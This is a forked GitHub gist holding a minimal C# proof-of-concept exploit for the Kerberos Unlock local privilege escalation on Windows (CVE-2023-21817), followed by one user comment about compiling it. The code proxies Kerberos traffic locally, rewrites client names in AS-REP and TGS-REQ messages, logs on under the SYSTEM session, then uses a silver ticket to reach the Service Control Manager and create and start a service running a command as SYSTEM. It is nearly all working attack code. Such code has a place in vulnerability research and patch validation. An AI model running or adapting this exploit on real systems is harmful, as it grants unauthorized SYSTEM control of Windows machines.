Skip to content

Instantly share code, notes, and snippets.

@Cerbersec
Forked from monoxgas/urbandoor.cs
Created April 14, 2023 14:12
Show Gist options
  • Save Cerbersec/3621893f8a15111d17409a3c16be5d1c to your computer and use it in GitHub Desktop.
Save Cerbersec/3621893f8a15111d17409a3c16be5d1c to your computer and use it in GitHub Desktop.
Minimal PoC code for Kerberos Unlock LPE (CVE-2023-21817)
using NtApiDotNet;
using NtApiDotNet.Ndr.Marshal;
using NtApiDotNet.Win32;
using NtApiDotNet.Win32.Rpc.Transport;
using NtApiDotNet.Win32.Security.Authentication;
using NtApiDotNet.Win32.Security.Authentication.Kerberos;
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Client;
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Server;
using NtApiDotNet.Win32.Security.Authentication.Logon;
using System;
using System.DirectoryServices.ActiveDirectory;
using System.Net;
using System.Threading;
namespace UrbanDoor
{
public class ModifyCNameKerberosProxy : KerberosKDCProxy
{
private KerberosPrincipalName _clientName;
private KerberosAuthenticationKey _userKey;
private KerberosPrincipalName _originalClientName = null;
private KerberosAuthenticationKey _tgtKey = null;
public ModifyCNameKerberosProxy(KerberosPrincipalName clientName, KerberosAuthenticationKey userKey, string hostname)
: base(new KerberosKDCServerListenerTCP(IPAddress.Loopback, 88), new KerberosKDCClientTransportTCP(hostname, 88))
{
_clientName = clientName;
_userKey = userKey;
}
protected override byte[] HandleRequest(byte[] outbound)
{
if (KerberosKDCRequestAuthenticationToken.TryParse(outbound, out KerberosKDCRequestAuthenticationToken request))
{
if (_tgtKey != null && _originalClientName != null && request.MessageType == KerberosMessageType.KRB_TGS_REQ)
{
Console.WriteLine($"[+] Modifying outgoing TGS-REQ [{outbound.Length}]");
var preAuthTgs = request.PreAuthenticationData[0] as KerberosPreAuthenticationDataTGSRequest;
if (preAuthTgs.Authenticator.TryDecrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq, out KerberosEncryptedData enc))
{
var authenticator = KerberosAuthenticator.Parse(enc.CipherText);
var authenticatorBuilder = authenticator.ToBuilder();
authenticatorBuilder.ClientName = _originalClientName;
var newPreAuth = new KerberosPreAuthenticationDataTGSRequest(preAuthTgs.Options, preAuthTgs.Ticket, authenticatorBuilder.Create().Encrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq));
var builder = request.ToBuilder();
builder.PreAuthenticationData.Clear();
builder.AddPreAuthenticationData(newPreAuth);
builder.AddPreAuthenticationData(request.PreAuthenticationData[1]);
outbound = builder.Create().ToArray();
}
else
{
Console.WriteLine("[!] Error decrypting with tgtKey");
}
}
}
var inbound = base.HandleRequest(outbound);
if (KerberosKDCReplyAuthenticationToken.TryParse(inbound, out KerberosKDCReplyAuthenticationToken reply))
{
if (reply.MessageType == KerberosMessageType.KRB_AS_REP)
{
Console.WriteLine($"[+] Modifying incoming AS-REP [{inbound.Length}]");
_originalClientName = reply.ClientName;
if (reply.EncryptedData.TryDecrypt(_userKey, KerberosKeyUsage.AsRepEncryptedPart, out KerberosEncryptedData enc))
{
var encryptedPart = KerberosKDCReplyEncryptedPart.Parse(enc.CipherText);
_tgtKey = encryptedPart.Key;
var builder = reply.ToBuilder();
builder.ClientName = _clientName;
return builder.Create().ToArray();
}
else
{
Console.WriteLine("[!] Error decrypting with password");
}
}
}
return inbound;
}
}
class Program
{
static Luid SYSTEM_LUID = new Luid(0x3E7);
static string OUT_PATH = "C:\\windows\\lpe.txt";
static string SERVICE_CMD = "C:\\windows\\system32\\cmd.exe /c echo LPE from {0} > " + OUT_PATH;
static void Main(string[] args)
{
try
{
if (args.Length != 1 && args.Length != 2)
{
throw new ArgumentException("Supply <current_password>");
}
string password = args[0];
KerberosTicketCache.PurgeTicketCache(default, null, null);
string realm = Domain.GetCurrentDomain().Name.ToUpper();
Sid user_sid = NtToken.PseudoPrimaryToken.User.Sid;
string username = user_sid.GetName().Name.ToLower();
string upn = $"{username}@{realm}";
ModifyCNameKerberosProxy proxy = new ModifyCNameKerberosProxy(
new KerberosPrincipalName(KerberosNameType.PRINCIPAL, Environment.MachineName + "$"),
KerberosAuthenticationKey.DeriveKey(KerberosEncryptionType.AES256_CTS_HMAC_SHA1_96, password, 4096, KerberosNameType.PRINCIPAL, upn, null, 0),
Domain.GetCurrentDomain().FindDomainController().Name
);
proxy.Start();
KerberosTicketCache.PinKdc(realm, "127.0.0.1", 0);
var creds = new KerberosInteractiveLogonCredentials(
new UserCredentials(username, realm, password)
)
{
LogonId = SYSTEM_LUID
};
try
{
using (var handle = LsaLogonHandle.Connect())
{
handle.LsaLogonUser(
SecurityLogonType.Interactive,
AuthenticationPackage.KERBEROS_NAME,
creds
);
}
}
catch (Exception e)
{
Console.WriteLine($"[!] Logon failed. Maybe the key has already been changed:\n{e}\n\n");
}
proxy.Stop();
KerberosTicketCache.UnpinAllKdcs();
Client scm = new Client();
RpcTransportSecurity security = new RpcTransportSecurity(ctx => SilverTicket.CreateContext(ctx, password, 500, 512));
security.AuthenticationLevel = RpcAuthenticationLevel.Connect;
security.AuthenticationType = RpcAuthenticationType.Kerberos;
security.ServicePrincipalName = $"HOST/{Environment.MachineName}";
scm.Connect("ncacn_np", @"\pipe\ntsvcs", security);
int error = scm.ROpenSCManagerW(null, null, (int)ServiceControlManagerAccessRights.GenericAll, out NdrContextHandle hscm);
if (error != 0) throw new SafeWin32Exception(error);
Console.WriteLine($"[+] Opened SCM: {hscm}");
string serviceName = Guid.NewGuid().ToString();
int? tag_id = null;
error = scm.RCreateServiceW(hscm, serviceName, null, (int)ServiceAccessRights.MaximumAllowed, (int)ServiceType.Win32OwnProcess,
(int)ServiceStartType.Demand, 0, string.Format(SERVICE_CMD, serviceName), null, ref tag_id, null, 0, null, null, 0, out NdrContextHandle hservice);
if (error != 0) throw new SafeWin32Exception(error);
Console.WriteLine($"[+] Service created: {serviceName}");
scm.RStartServiceW(hservice, 0, null);
Thread.Sleep(250);
Console.WriteLine($"\n[+] Done. {OUT_PATH} contains: {System.IO.File.ReadAllText(OUT_PATH)}");
}
catch (Exception ex)
{
Console.WriteLine("[!] Error:\n");
Console.WriteLine(ex);
}
}
}
}
@abedtuded
Copy link

abedtuded commented May 22, 2023

Hey, man! Were You able to resolve the issue with SilverTicket and compile it eventually?)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment